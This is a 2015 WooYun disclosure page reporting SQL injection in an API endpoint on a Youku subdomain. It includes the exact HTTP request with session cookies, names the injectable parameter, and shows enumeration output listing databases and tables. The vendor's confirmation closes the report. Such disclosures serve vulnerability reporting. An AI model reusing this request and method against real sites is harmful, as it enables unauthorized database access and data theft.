当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112212

漏洞标题:优酷某站SQL注入

相关厂商:优酷

漏洞作者: BMa

提交时间:2015-05-05 16:56

修复时间:2015-06-19 18:24

公开时间:2015-06-19 18:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-05: 厂商已经确认,细节仅向厂商公开
2015-05-15: 细节向核心白帽子及相关领域专家公开
2015-05-25: 细节向普通白帽子公开
2015-06-04: 细节向实习白帽子公开
2015-06-19: 细节向公众公开

简要描述:

优酷某站SQL注入

详细说明:

站点:allthingshair.youku.com

POST /api/index.php?r=video/submitCategoryIdGetVideoList HTTP/1.1
Host: allthingshair.youku.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __ysuid=1420857555262JT0; _ga=GA1.2.1068351650.1428639210; _acxm=e68d61d2-df37-11e4-8f80-02420f4ad091; Hm_lvt_aef6ec7144c5dc468472f824bcdbbcac=1428639210,1430809766; ykss=106748550f233e3521db0f0d; u=__LOGOUT__; Hm_lpvt_aef6ec7144c5dc468472f824bcdbbcac=1430814038; PHPSESSID=fn2184otgahgh47jqo3ina41u6
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
categoryId=&orderByTime=3&byCountNum=3&pageSize=16&nowPage=1


参数:categoryId=

The table "member_wechat" for active record class "MemberWechat" cannot be found in the database.
[16:15:31] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
current user: 'allthingshair@%'
current database: 'allthingshair'
available databases [3]:
[*] allthingshair
[*] information_schema
[*] test
Database: allthingshair
+---------------------+---------+
| Table | Entries |
+---------------------+---------+
| daily_video_account | 2470 |
| member_youku | 195 |
| product_list | 106 |
| video_main_list | 55 |
| video_minor_list | 55 |
| attribute_list | 18 |
| keyword_count | 15 |
| category_list | 13 |
| vlogger_list | 8 |
| hot_topic_video | 6 |
| subscribe_list | 1 |
| tbl_admin_user | 1 |
+---------------------+---------+


2.jpg


3.jpg


4.jpg


5.jpg

漏洞证明:

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-05-05 18:23

厂商回复:

感谢关注优酷安全!该问题已经安排修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-05 17:11 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    注入帝。领略了……

  2. 2015-05-05 17:55 | kaysen ( 路人 | Rank:8 漏洞数:3 | 折腾Python、Php、Linux)

    领略了......